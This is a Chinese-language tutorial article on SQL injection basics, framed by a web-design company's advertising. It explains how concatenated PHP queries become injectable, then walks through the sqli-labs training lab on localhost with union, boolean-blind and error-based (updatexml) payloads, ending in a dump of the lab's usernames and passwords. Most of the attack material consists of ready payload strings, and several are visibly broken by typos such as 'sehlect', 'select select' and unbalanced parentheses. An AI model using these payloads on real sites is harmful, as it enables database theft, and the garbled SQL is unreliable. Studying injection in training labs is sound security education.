這篇文章主要介紹“web安全中SQL注入基礎(chǔ)知識(shí)點(diǎn)有哪些”的相關(guān)知識(shí),小編通過(guò)實(shí)際案例向大家展示操作過(guò)程,操作方法簡(jiǎn)單快捷,實(shí)用性強(qiáng),希望這篇“web安全中SQL注入基礎(chǔ)知識(shí)點(diǎn)有哪些”文章能幫助大家解決問(wèn)題。
成都創(chuàng)新互聯(lián)主營(yíng)西林網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營(yíng)網(wǎng)站建設(shè)方案,手機(jī)APP定制開(kāi)發(fā),西林h5微信平臺(tái)小程序開(kāi)發(fā)搭建,西林網(wǎng)站營(yíng)銷(xiāo)推廣歡迎西林等地區(qū)企業(yè)咨詢(xún)
就是指web應(yīng)用程序?qū)τ脩?hù)輸入數(shù)據(jù)的合法性沒(méi)有判斷,前端傳入后端的參數(shù)是攻擊者可控的,并且參數(shù)帶入數(shù)據(jù)庫(kù)查詢(xún),攻擊者可以通過(guò)構(gòu)造不同的SQL語(yǔ)句來(lái)實(shí)現(xiàn)對(duì)數(shù)據(jù)庫(kù)的任意操作。
開(kāi)發(fā)人員可以使用動(dòng)態(tài)SQL語(yǔ)句創(chuàng)建通用,靈活的應(yīng)用。動(dòng)態(tài)SQL語(yǔ)句是在執(zhí)行過(guò)程中構(gòu)造的,它根據(jù)不同的條件產(chǎn)生不同的sql語(yǔ)句。當(dāng)開(kāi)發(fā)人員在運(yùn)行過(guò)程中需要根據(jù)不同的查詢(xún)標(biāo)準(zhǔn)決定提取什么字段(如select語(yǔ)句),或者根據(jù)不同的條件選擇不同的查詢(xún)表時(shí),動(dòng)態(tài)地構(gòu)造SQL語(yǔ)句會(huì)非常有用。
Php語(yǔ)句為列:
$query=“SELECT * FROM users WHERE id = $_GET[‘id’]”;
由于這里的參數(shù)ID可控,且?guī)霐?shù)據(jù)庫(kù)查詢(xún),所以非法用戶(hù)可以任意拼接SQL語(yǔ)句進(jìn)行攻擊。
參數(shù)用戶(hù)可控:前端傳給后端的參數(shù)內(nèi)容是用戶(hù)可以控制的。
參數(shù)帶入數(shù)據(jù)庫(kù)查詢(xún):傳入的參數(shù)拼接到sql語(yǔ)句,且?guī)霐?shù)據(jù)庫(kù)查詢(xún)。
當(dāng)傳入ID參數(shù)為1'時(shí),數(shù)據(jù)庫(kù)執(zhí)行的代碼如下所示。
sehlect * from users where id =1'
這樣是會(huì)報(bào)出錯(cuò)誤的,因?yàn)檫@不符合數(shù)據(jù)庫(kù)語(yǔ)法規(guī)范。
當(dāng)傳入的ID參數(shù)為and 1=1 時(shí),執(zhí)行的SQL語(yǔ)句如下所示。
select * from users where id = 1' and 1=1
因?yàn)?=1為真,且where語(yǔ)句中id1=1也為真,所以頁(yè)面會(huì)返回與id=1相同的結(jié)果。
當(dāng)傳入的ID參數(shù)為and 1=2時(shí),由于1=2不成立,所以返回假,頁(yè)面就會(huì)返回與id=1不同的結(jié)果。
由此可以初步判斷ID參數(shù)存在SQL注入漏洞,攻擊者可以進(jìn)一步拼接SQL語(yǔ)句進(jìn)行攻擊,致使數(shù)據(jù)庫(kù)信息泄露,甚至進(jìn)一步獲取服務(wù)器權(quán)限等。
—————————————————————————————————————————————————————
在實(shí)際環(huán)境中,凡是滿足上述兩個(gè)條件的參數(shù)皆可能存在SQL注入漏洞,因此開(kāi)發(fā)者需秉持“外部參數(shù)皆不可信的原則”進(jìn)行開(kāi)發(fā)。
—————————————————————————————————————————————————————
數(shù)據(jù)庫(kù)A=網(wǎng)站A
表名
列名
數(shù)據(jù)
數(shù)據(jù)庫(kù) B=網(wǎng)站B
數(shù)據(jù)庫(kù)
在MySql5.0 版本之后,MySql默認(rèn)在數(shù)據(jù)庫(kù)中存放一個(gè)“information_schema”
的數(shù)據(jù)庫(kù),在該庫(kù)中,讀者需要記住三個(gè)表名,分別是
SCHEMATA,TABLES,COLUMNS
SCHEMNSz表存儲(chǔ)該用戶(hù)創(chuàng)建的所有數(shù)據(jù)庫(kù)的庫(kù)名,我們需要記住該表中記錄數(shù)據(jù)庫(kù)庫(kù)名的字段名為SCHEMA_NAME
TABLES
表存儲(chǔ)該用戶(hù)創(chuàng)建的所有數(shù)據(jù)庫(kù)的庫(kù)名和表名,我們需要記住該表中記錄數(shù)據(jù)庫(kù)庫(kù)名和表名的字段名分別為TABLE_SCHEMA和TABLE_NAME
。
COLUMNS
表名和字段名的字段名為TABLE_SCHEMA,TABLE_NAME和COLUMN_NAME
。
在不知道任何條件時(shí),語(yǔ)句如下所示。
SELECT 要查詢(xún)的字段名 FROM 庫(kù)名.表名
在知道一條已知條件時(shí),語(yǔ)句如下所示。
SELECT 要查詢(xún)的字段名 FROM 庫(kù)名.表名 WHERE 已知條件的字段名=‘已知條件的值’
在知道兩條已知條件時(shí),語(yǔ)句如下所示。
SELECT 要查詢(xún)的字段名 FROM 庫(kù)名.表名 WHERE 已知道條件1的字段名=‘已知條件1的值’ AND 已知條件2的字段名=‘已知條件2的值’
Limit的使用格式為limit m,n, 其中m是指記錄開(kāi)始的位置,從0開(kāi)始,表示第一條記錄;n是指取n條記錄。
例如limit 0,1表示從第一條記錄開(kāi)始,取一條記錄,
Database():當(dāng)前網(wǎng)站使用的數(shù)據(jù)庫(kù)
Version():當(dāng)前MySQL的版本
User():當(dāng)前MySQL的用戶(hù)
在MySQL中,常見(jiàn)注釋符的表達(dá)方式:#或-- 空格或/**/
內(nèi)聯(lián)注釋的形式:/! code/。內(nèi)聯(lián)注釋可以用于整個(gè)SQL語(yǔ)句中,用來(lái)執(zhí)行我們的SQL語(yǔ)句,下面舉一個(gè)列:
index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
在線靶場(chǎng)
http://127.0.0.1/sqli-labs/Less-1/?id=1
http://127.0.0.1/sqli-labs/Less-1/?id=1'and 1=1 --+
https://blog.csdn.net/qq_41630808/article/details/80570197
正常輸出
出錯(cuò)代表沒(méi)有閉合 說(shuō)明沒(méi)有用’可能沒(méi)有用' 或用了"或()
http://127.0.0.1/sqli-labs/Less-1/?id=1%27and%201=2--+
則是''字符串注入
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3 --+ 判斷是否有3列
正常
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 4 --+ 判斷是否有4列
錯(cuò)誤
說(shuō)明它輸出的內(nèi)容所在的數(shù)據(jù)庫(kù)有3列
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
則 Your Login name 在第二列Your Password在第三列
我選擇在第二列輸出我想要的內(nèi)容
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),3 --+
root權(quán)限
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+
表名是 emails,referers,uagents,users
group_concat()會(huì)計(jì)算哪些行屬于同一組,將屬于同一組的列顯示出來(lái)。要返回哪些列,由函
數(shù)參數(shù)(就是字段名)決定
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(password) from security.users),3 --+
這樣 這個(gè)就完成了 已經(jīng)拿到了賬號(hào)密碼
在Union注入頁(yè)面中,程序獲取GET參數(shù)ID,將ID拼接到SQL語(yǔ)句中,在數(shù)據(jù)庫(kù)中查詢(xún)參數(shù)的ID對(duì)應(yīng)的內(nèi)容,然后將第一條查詢(xún)結(jié)果中的username
和address
輸出到頁(yè)面,
由于是將數(shù)據(jù)輸出到頁(yè)面上的,所以利用Union語(yǔ)句查詢(xún)其他數(shù)據(jù),代碼如下:
![
](http://ww1.sinaimg.cn/large/007bHQE8gy1g58le58wz5j30ou0bo77h.jpg)
當(dāng)訪問(wèn)id=1 union select 1,2,3
時(shí),執(zhí)行的SQL語(yǔ)句為:
`Select * from users where ‘id’=1 union select 1,2,3``
此時(shí)sql語(yǔ)句可以分為select \* from users where ‘id’=1
和union select 1,2,3
兩條,利用第二條語(yǔ)句(Union查詢(xún))就可以獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)。
(優(yōu)化在源碼中添加sql語(yǔ)句執(zhí)行代碼)
1' and length(database())>=1--+ //判斷數(shù)據(jù)庫(kù)的長(zhǎng)度
l' and substr(database(),1,1)=‘t’ --+ //判斷數(shù)據(jù)庫(kù)第一個(gè)字母的值
l' and substr(database(),2,1)=‘q’ --+ //判斷數(shù)據(jù)庫(kù)的第二個(gè)字母的值
l' and ord(substr(database(),1,1))=115--+ //利用ord和ASCII判斷數(shù)據(jù)庫(kù)庫(kù)名
l' and substr(database(),2,1)=’q’--+ //利用substr判斷數(shù)據(jù)庫(kù)的庫(kù)名
l' and substr(select table_name from information_schema.table where table_schema=‘sql’ limit 0,1),1,1)=‘e’ --+ //利用substr判斷數(shù)據(jù)庫(kù)的表名
1. length(str)
:返回str字符串的長(zhǎng)度。
2. substr(str, pos, len)
:將str從pos位置開(kāi)始截取len長(zhǎng)度的字符進(jìn)行返回。注意這里的pos位置是從1開(kāi)始的,不是數(shù)組的0開(kāi)始
3. mid(str,pos,len):
跟上面的一樣,截取字符串
4. ascii(str)
:返回字符串str的最左面字符的ASCII代碼值。
5. ord(str):
同上,返回ascii碼
6. if(a,b,c) :a
為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0
在Boolean注入頁(yè)面中程序先獲取GET參數(shù)ID,通過(guò)preg_match判斷其中是否存在union/sleep/benchmark等危險(xiǎn)字符。然后將參數(shù)ID拼接到SQL語(yǔ)句,從數(shù)據(jù)庫(kù)中查詢(xún),
當(dāng)訪問(wèn)id=1‘ or 1=1%23時(shí),數(shù)據(jù)庫(kù)執(zhí)行的語(yǔ)句為selcet * from user where ‘id’=’1’ or 1=1#,由于or 1=1是永真條件,所有此時(shí)返回正常。當(dāng)訪問(wèn)id=1‘ and 1=2%23時(shí),
數(shù)據(jù)庫(kù)執(zhí)行的語(yǔ)句為select * from users where ‘id’ = ‘1’ and 1=2#, 由于and‘1‘ =’2‘ 是永假條件,所有此時(shí)頁(yè)面肯定會(huì)返=返回錯(cuò)誤。
updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ //利用updatexml獲取user()
‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ //利用updatexml獲取database()
`‘ and updatexml(1,concat(0x7e,(select select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+** //**利用報(bào)錯(cuò)注入獲取數(shù)據(jù)庫(kù)庫(kù)名
‘ and updatexml(1,concat(0x7e,(select select table_name from information_schema.tables where table_schema= ‘test’ limit 0,1),0x7e),1)--+ //利用報(bào)錯(cuò)注入獲取數(shù)據(jù)庫(kù)表名
## 報(bào)錯(cuò)注入攻擊代碼分析 **在報(bào)錯(cuò)注入頁(yè)面中,程序獲取GET參數(shù)username 后,將username拼接到SQL語(yǔ)句中然后,然后到數(shù)據(jù)庫(kù)查詢(xún)。** ![](http://ww1.sinaimg.cn/large/007bHQE8gy1g58lsi2dz3j30ua0a9419.jpg) 輸入username=1‘時(shí),SQL語(yǔ)句為select * from user where ‘username’=‘1“。執(zhí)行時(shí)會(huì)因?yàn)槎嗔艘粋€(gè)單引號(hào)而報(bào)錯(cuò)。利用這種錯(cuò)誤回顯,我們可以通過(guò)floor(),updatexml() 等函數(shù)將要查詢(xún)的內(nèi)容輸出到頁(yè)面上。
關(guān)于“web安全中SQL注入基礎(chǔ)知識(shí)點(diǎn)有哪些”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí),可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,小編每天都會(huì)為大家更新不同的知識(shí)點(diǎn)。